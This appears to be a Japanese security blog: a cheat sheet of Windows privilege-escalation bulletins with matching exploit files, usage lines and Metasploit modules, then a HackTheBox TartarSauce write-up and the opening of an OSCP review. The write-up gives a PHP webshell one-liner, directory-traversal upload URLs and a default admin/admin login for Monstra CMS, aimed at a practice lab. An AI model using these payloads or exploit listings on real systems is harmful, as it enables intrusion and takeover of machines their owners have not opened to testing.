Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT
Windows RT 8.1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core インストール)
Windows Server 2012 (Server Core インストール)

not affected version

Microsoft .NET Framework 3.0 Service Pack 2
Microsoft .NET Framework 3.5 Service Pack 1
Microsoft .NET Framework 4.5.2

[M] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important

exploit-db

.NET Remoting Services - Remote Command Execution
[*] http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC
www.exploit-db.com

github

no??

metasploit

no

more information

MS14-040 (high)

affected version

Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for 32-bit Systems[2] (2973408)
Windows 8.1 for x64-based Systems
Windows Server 2012
[Windows Server 2012 R2
Windows RT[3] (2961072)
Windows RT 8.1[1][3] (2961072)

exploit-db

Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)

# Tested on: Win7 x32
#        afd.sys - 6.1.7600.16385
#            ntdll.dll - 6.1.7600.16385 

www.exploit-db.com

github

MS14-40-x32.py 39525.py 39446.py MS14-40-x86.exe MS14-040-x64.exe
github.com

metasploit

no

more information

MS14_058 (high)

affected version

Windows Server 2003, Windows Server 2008, Windows Server 2012, 7, 8

Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT[1] (3000061)
Windows RT 8.1[1] (3000061)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1

exploit-db

Microsoft Windows Kernel - 'win32k.sys' Local Privilege Escalation (MS14-058)
txt. have URL
www.exploit-db.com

Microsoft Windows - TrackPopupMenu Win32k Null Pointer Dereference (MS14-058) (Metasploit)
www.exploit-db.com

github

MS14-058.exe Exploit.exe
github.com

metasploit

  exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
  This module exploits a NULL Pointer Dereference in win32k.sys, the 
  vulnerability can be triggered through the use of TrackPopupMenu. 
  Under special conditions, the NULL pointer dereference can be abused 
  on xxxSendMessageTimeout to achieve arbitrary code execution. This 
  module has been tested successfully on Windows XP SP3, Windows 2003 
  SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 
  and Windows 2008 R2 SP1 64 bits.

more information

MS14-068 (medium)

affected version

Windows Server 2003
Windows Server 2003 Service Pack 2
Windows Server 2003 x 64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based System
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1

[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical

exploit-db

Microsoft Windows Kerberos - Privilege Escalation (MS14-068) [*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
www.exploit-db.com

github

MS14-068.exe ms14-068.py

USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>

github.com

metasploit

   auxiliary/admin/kerberos/ms14_068_kerberos_checksum  2014-11-18       normal  MS14-068 Microsoft Kerberos Checksum Validation Vulnerability

more information

MS14_070 (high)

affected version

Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based System

exploit-db

Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)

# Vulnerable Software:
#   Windows 2003 SP2 x86
#   Windows 2003 SP2 x86-64
#   Windows 2003 SP2 IA-64
# Supported vulnerable software:
#   Windows 2003 SP2 x86
# Tested on:
#   Windows 2003 SP2 x86 EN

www.exploit-db.com
Microsoft Windows Server 2003 SP2 - Local Privilege Escalation (MS14-070)

     Affected Product: TCP/IP Protocol Driver
     Affected Version: 5.2.3790.4573
     Platform: Microsoft Windows Server 2003 Service Pack 2
     Architecture: x86, x64, Itanium

www.exploit-db.com

github

35936.exe 37755.exe
github.com

metasploit

    exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
  A vulnerability within the Microsoft TCP/IP protocol driver 
  tcpip.sys can allow a local attacker to trigger a NULL pointer 
  dereference by using a specially crafted IOCTL. This flaw can be 
  abused to elevate privileges to SYSTEM.

more information

Granny privesc (MS14-070) WITHOUT meterpreter

forum.hackthebox.eu

MS15_004 (medium)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT[1] (3019978)
Windows RT 8.1[1] (3019978)
Windows Server 2008 R2 for x64-based Systems Service Pack 1

exploit-db

Microsoft Remote Desktop Services - Web Proxy IE Sandbox Escape (MS15-004) (Metasploit)
Protected Mode (Windows 7) / 32 bits
www.exploit-db.com

github

no??

metasploit

exploit/windows/local/ms15_004_tswbproxy: The target service is running, but could not be validated.

more information

MS15-010 (meduim)

affected version

Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT[1] (3013455)
Windows RT 8.1[1] (3013455)

exploit-db

Microsoft Windows - Local Privilege Escalation (MS15-010)
www.exploit-db.com

Microsoft Windows 8.1 - 'win32k' Local Privilege Escalation (MS15-010)

# Version: Windows 8.1 (x64)
# Tested on: Windows 8.1 (x64)

have exe URL
www.exploit-db.com

github

39035.exe
github.com

metasploit

no

more information

MS15-051 (high)

affected version

Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT[1] (3045171)
Windows RT 8.1[1] (3045171)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Title      : ClientCopyImage Win32k

CVEID      : 2015-1701, 2015-2433

exploit-db

Microsoft Windows - ClientCopyImage Win32k (MS15-051) (Metasploit)
Link : https://www.exploit-db.com/exploits/37367/
www.exploit-db.com Microsoft Windows - Local Privilege Escalation (MS15-051)
have exe URL
www.exploit-db.com

github

37049-32.exe Taihou32.exe Taihou64.exe ms15-051.exe ms15-051x64.exe
ms15-051x64.exe works!!
github.com

have exe URL
ms15-051/Win32/ms15-051.exe works!!!
ms15-051/x64/ms15-051.exe
usage ms15-051.exe whoami
github.com

metasploit

exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
  This module exploits improper object handling in the win32k.sys 
  kernel mode driver. This module has been tested on vulnerable builds 
  of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.

more information

www.youtube.com

MS15-076 (medium)

affected version

Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Server 2003 R2 Service Pack 2
Windows Server 2003 R2 x64 Edition Service Pack 2
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT[1] (3067505)
Windows RT 8.1[1] (3067505)

exploit-db

Microsoft Windows 8.1 - DCOM DCE/RPC Local NTLM Reflection Privilege Escalation (MS15-076)

Copies a file to any privileged location on disk
Usage: trebuchet.exe C:\Users\Bob\Evil.txt C:\Windows\System32\Evil.dll
Exploit can only be one once every 2-3 minutes. This is because RPC can be help up by LocalSystem
Tested on x64/x86 Windows 7/8.1
The destination file can't already exist

www.exploit-db.com

github

Trebuchet.exe Microsoft.VisualStudio.OLE.Interop.dll
github.com

metasploit

no

more information

MS15-078 (meduim)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT[1] (3079904)
Windows RT 8.1[1] (3079904)
Windows 10 for 32-bit Systems[1] (3074683)
Windows 10 for x64-based Systems[1] (3074683)
MS15-078 : Font Driver Buffer Overflow
This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing
        a malformed font. The vulnerability was exploited by the hacking team and disclosed on
        the july data leak. This module has been tested successfully on vulnerable builds of
        Windows 8.1 x64.

This module has been tested successfully on vulnerable builds of Windows 8.1 x64.

exploit-db

Microsoft Windows - Font Driver Buffer Overflow (MS15-078) (Metasploit)
www.exploit-db.com

github

no??

metasploit

   exploit/windows/local/ms15_078_atmfd_bof  2015-07-11       manual  MS15-078 Microsoft Windows Font Driver Buffer Overflow

more information

MS15-102 (low)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT[1] (3082089)
Windows RT[1] (3084135) 
Windows RT 8.1[1] (3082089)
Windows RT 8.1[1] (3084135)
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1

[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important

exploit-db

have exe URL
38202/bin/CreateObjectTaskCPP.exe
[*] https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
/root/Documents/OSCP-LABO/HTB/Arctic/
www.exploit-db.com

have ps1 URL
38200.ps1
[*] https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
Platform: Windows 8.1 Update, looks like it should work on 7 and 10 as well
www.exploit-db.com

have exe URL
38201/bin/CreateObjectTaskCPP.exe
[*] https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
Platform: Windows 8.1 Update (I don’t believe it’s available in earlier Windows versions)
www.exploit-db.com

github

no??

metasploit

no

more information

MS16-014 (high)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT 8.1[1] (3126587)
Windows RT 8.1[1] (3126593)
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1511 for 32-bit Systems
Windows 10 Version 1511 for x64-based Systems
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1

exploit-db

Microsoft Windows 7 SP1 (x86) - Local Privilege Escalation (MS16-014)

# Version: Windows 7 SP1 x86
# Tested on: Windows 7 SP1 x86

www.exploit-db.com

Microsoft Windows - Kerberos Security Feature Bypass (MS16-014)

# Tested on: Windows 7 Professional (x32/x64)
# CVE : CVE-2016-0049
???????????????????????????? txt 

www.exploit-db.com

github

ms16-014.rar ms16-014.exe ms16-014.exe
usage ms16-014.exe whoami ???????
github.com

metasploit

   exploit/windows/local/ms16_014_wmi_recv_notif              2015-12-04       normal  Windows WMI Recieve Notification Exploit

more information

MS16-016 (high)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051

exploit-db

[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF

www.exploit-db.com

have exe URL

[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
# Version:WebDAV on Windows 7 84x
spawn SYSTEM shell in **current** window<br>

https://www.exploit-db.com/exploits/39788

[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC<brhttps://www.exploit-db.com/exploits/39788/
    spawn SYSTEM shell in **new** window

https://www.exploit-db.com/exploits/39432

github

BSoD.exe EoP.exe
spawn SYSTEM shell in new window
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016

metasploit

     exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.
  This module exploits the vulnerability in mrxdav.sys described by 
  MS16-016. The module will spawn a process on the target system and 
  elevate its privileges to NT AUTHORITY\SYSTEM before executing the 
  specified payload within the context of the elevated process.

more information

MS16-032 (high)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT 8.1 [1] (3139914)
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1511 for 32-bit Systems
Windows 10 Version 1511 for x64-based Systems

exploit-db

Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation (MS16-032) (PowerShell)
www.exploit-db.com

Microsoft Windows 8.1/10 (x86) - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032)
www.exploit-db.com

Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Local Privilege Escalation (MS16-032) (C#)
www.exploit-db.com

Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Secondary Logon Handle Privilege Escalation (MS16-032) (Metasploit)
www.exploit-db.com

github

x86/ms16-032.exe x64/ms16-032.exe MS16-032.ps1
spawn SYSTEM shell in new window
github.com

metasploit

     exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
  This module exploits the lack of sanitization of standard handles in 
  Windows Secondary Logon Service. The vulnerability is known to 
  affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This 
  module will only work against those versions of Windows with 
  Powershell 2.0 or later and systems with two or more CPU cores.

more information

pentestlab.blog
dann.com.br

MS16-034 (very low)

affected version

(XP/Vista/Win7/Win8/2000/2003/2008/2012)
Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96

exploit-db

no??

github

FillRgn_BSoD.cpp MS16-034-exp.cpp
cannot compile
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1github.com

metasploit

no

more information

MS16-075 (medium)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT 8.1
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1511 for 32-bit Systems
Windows 10 Version 1511 for x64-based Systems

Hot potato

exploit-db

Microsoft Windows - Net-NTLMv2 Reflection DCOM/RPC (Metasploit)
seems not work....????
www.exploit-db.com

github

Tater.ps1 (seems works) potato.exe ms16-075.rb (metasploit module)
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
poc.py attack.py constant.py httpserver.py secretsdump.py smbclient.py webclient.py
????
github.com

metasploit

above

more information

MS16-098 (high)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT 8.1[1] (3177725)
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1511 for 32-bit Systems
Windows 10 Version 1511 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems

exploit-db

Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098)
.c have exe URL
41020.exe
www.exploit-db.com

Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) (2)
have exe URL
MS16-098.exe
www.exploit-db.com

github

bfill.exe
github.com

Windows 8.1 x64 Exploit for MS16-098 RNGOBJ_Integer_Overflow
have bfill.exe
github.com

metasploit

no

more information

alamot.github.io

MS16-135 (high)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1511 for 32-bit Systems
Windows 10 Version 1511 for x64-based Systems
Windows Server 2016 for x64-based Systems
Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255

exploit-db

Microsoft Windows Kernel - 'win32k.sys NtSetWindowLongPtr' Local Privilege Escalation (MS16-135) (2)
have exe URL
41015.exe
www.exploit-db.com

Microsoft Windows Kernel - 'win32k.sys NtSetWindowLongPtr' Local Privilege Escalation (MS16-135) (1)
40823/code/ASLRSideChannelAttack/compiled/ASLRSideChannelAttack.exe
have exe URL
www.exploit-db.com

github

MS16-135
https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sgithub.com

41015.exe MS16-135.ps1 SetWindowLongPtr_Exploit.exe
spawn SYSTEM shell in current window
github.com

MS16-135.ps1
github.com

metasploit

no

more information

www.youtube.com

最後に

HackTheBoxのWindowsのPEってKernelExploitであることが多いですよね。その時に、毎回SuggesterでExploitを探すうちにそれらを覚えちゃう方が早いと思ったのでこういうのを作りました。
あと、LinuxのsudoコマンドのExploitについても同じようなチートシートを自分は作ってます。
これらの30種類の中で、HTBで頻出だと思うのはMS10-092 MS11-046 MS15-051 MS16-032 あたりでしょうか。もちろんこれら以外もありますが。

HackTheBox TartarSauce Writeup

TartarSauceというマシンの新しい解法(ほかのWriteupでは解説されていない)を見つけたのでブログに書きたいと思います。(といってもそんな大したことないですが)。
他のWriteupではRabbit Holeとされている、「Monstra」CMSを悪用して初期シェルを得る方法を解説します。rootまでの完全なWriteupではないので悪しからず。
f:id:kakyouim:20200514164034p:plain

Monstra CMS

Information Gathering

/webservices/monstra-3.0.4/admin/にアクセスすると、以下のようなログインページが見つかる。
f:id:kakyouim:20200514164204p:plain

Versionが3.0.4だということがわかり、これでGoogleでExploitを探すといろいろ脆弱性が見つかる。
これらをまとめてみると、以下のようになる。結論から言うと、以下の二つのExploitを組み合わせることで初期シェルがゲットできた。
f:id:kakyouim:20200514164825p:plain

Login

上記で調べたExploitを見る限り、全てAuthenticatedを必要としている。つまり、ログイン後に初めて悪用できる。よって、MonstraCMSにログインを試す。
Webのログインページに対して、login bruteforce,default login,SQL Injectionの3つの可能性が考えられるが、10回以上のログイン試行によって一定時間BANされたので、login bruteforceの線は薄い。また、このMonstraCMSは実際に存在するサービスであり、Sql Injectionはググっても出てこなかったため、Sql Injectionの可能性も薄い(それでも一応基本的なものは試すが)。
したがって、default loginで悪用する可能性が高く、実際、admin / adminという弱いクレデンシャルでログインができた。
f:id:kakyouim:20200514165428p:plain

Arbitrary File Upload

ログインができたので、AuthenticatedのArbitrary File Uploadができそうに見える。バージョンもドンピシャであり、このExploitの解説方法もググれば大量に出てくるため、かなり信頼性が高い。
www.exploit-db.com
Exploit-dbの通り、webshell.php7というファイル名でアップロードを試みる。

root@kali:~/Documents/HTB/TartarSause# cat webshell.php7 
<?php system($_GET['cmd']); ?>
root@kali:~/Documents/HTB/TartarSause# 

すると、以下のようにFile was not uploadedというエラーが発生する。
f:id:kakyouim:20200514170108p:plain

ここで、.php7という拡張子がダメなのかもしれないので、webshell.txtとしてUploadを試みる。そして、この場合も同様のエラーが発生した。
「???」って感じである。よくわからないので、Burp Suiteで実際のやり取りを確認してみる。

どうやら302エラーが発生していることが原因??(結果的には多分関係ない)。存在するはずのページなのに302ってドユコト?。ただ、おそらくURLに問題がある?っぽいのかなと推測できる。
あと、もう一つ目についたのが、&path=uploadsの部分。ここから、おそらく「uploads」という名前のディレクトリにファイルを書き込む、と推測できる。
f:id:kakyouim:20200514170803p:plain

以上のことから、このMonstraCMSではファイルのアップロードそのものは可能で、そのファイルはuploadsディレクトリに書き込まれるが、このディレクトリに対して書き込み権限がないため、エラーが発生している、と推測できる。

Directory Traversal

ここで、先ほどGoogleで検索したExploitの中に、directory traversalがあったことを思い出す。よって、uploadsディレクトリをdirectory traversalを使って別の書き込めるディレクトリに指定すれば成功するのでは??と考えられる。
では、まずdirectory traversalが成功するのかを確認する。

www.cvedetails.com

index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./
でアクセスしてみると、以下のように成功していることがわかる。
f:id:kakyouim:20200514171941p:plain

どうやら、/.......//./一つで親ディレクトリ一つ分移動できるっぽいので、それを確認する。
成功!どうやら仮説通り、uploadsディレクトリが存在していたらしい。
f:id:kakyouim:20200514172106p:plain

Webshell Upload

次に、書き込み権限があると思われる/tmpにファイルを書き込むことを試す。
/index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./.......//./tmp/
でアクセスしてみる。
f:id:kakyouim:20200514172412p:plain

そして、/tmpを確認してみると、成功していることがわかる!!!
f:id:kakyouim:20200514172425p:plain

次は、書き込み権限があるようなWebrootに書き込んで、ブラウザからそのPHPファイルにアクセスして、PHPコードを実行することを試す。
/index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./.......//./var/www/html/
をURLに設定して、ファイルをアップロードすると、以下のように書き込めており、ブラウザ経由で確認することができた!!
f:id:kakyouim:20200514173251p:plain
f:id:kakyouim:20200514173115p:plain

よって、次は.php7ファイルをアップロードすることを試してみる。
f:id:kakyouim:20200514173336p:plain

そして、Webshellゲットだぜ!!。
f:id:kakyouim:20200514173353p:plain

CVE-2018-16820

https://www.cvedetails.com/cve/CVE-2018-16820/
Cvedetailsを見る限り、任意の書き込み権限のあるディレクトリにファイルをアップして、RCEできうるみたいなことは書いてないんですけど、これってどうなんだろう?
今回みたいな悪用の仕方は初めてなのでこれがCVE-2018-16820の範囲内なのかよくわからないです。
一度登録されたCVEは再評価はされないのかな?知ってる方いれば教えてほしいです!
f:id:kakyouim:20200514225609p:plain

まとめ

Monstra CMS 3.0.4の(Authenticated) Arbitrary File UploadとDirectory Traversal(CVE-2018-16820)を組み合わせて、書き込み権限のないuploadsディレクトリ以外のディレクトリに書き込んで、Webshellを設置することができた。

OSCP Review(受験記)

先日OSCPを取得したので、受験記を書きたいと思います!

OSCPとは

Offensive Secutiry Certified Professionalの略です。
ペネトレーションテストをある程度できることを証明する資格なのかな?と思ってます。
ペネトレーションテストでは、既知の脆弱性のあるマシンをどこまで悪用可能なのかを調べることをします。低権限のシェルしか得られないのか、root権限を得られるのか。
OSCPに用意されているマシンはすべてrootまで権限昇格が可能です。
CTFと何が違うのか?と疑問に思う人もいるかと思いますが、CTFはぺネトレっぽい要素を含んでいます。ただ、ぺネトレは攻撃ポイントを自分で調査して見つけるのに対し、CTFでは「このサービスを悪用せよ」的な問題であることが多い気がします。
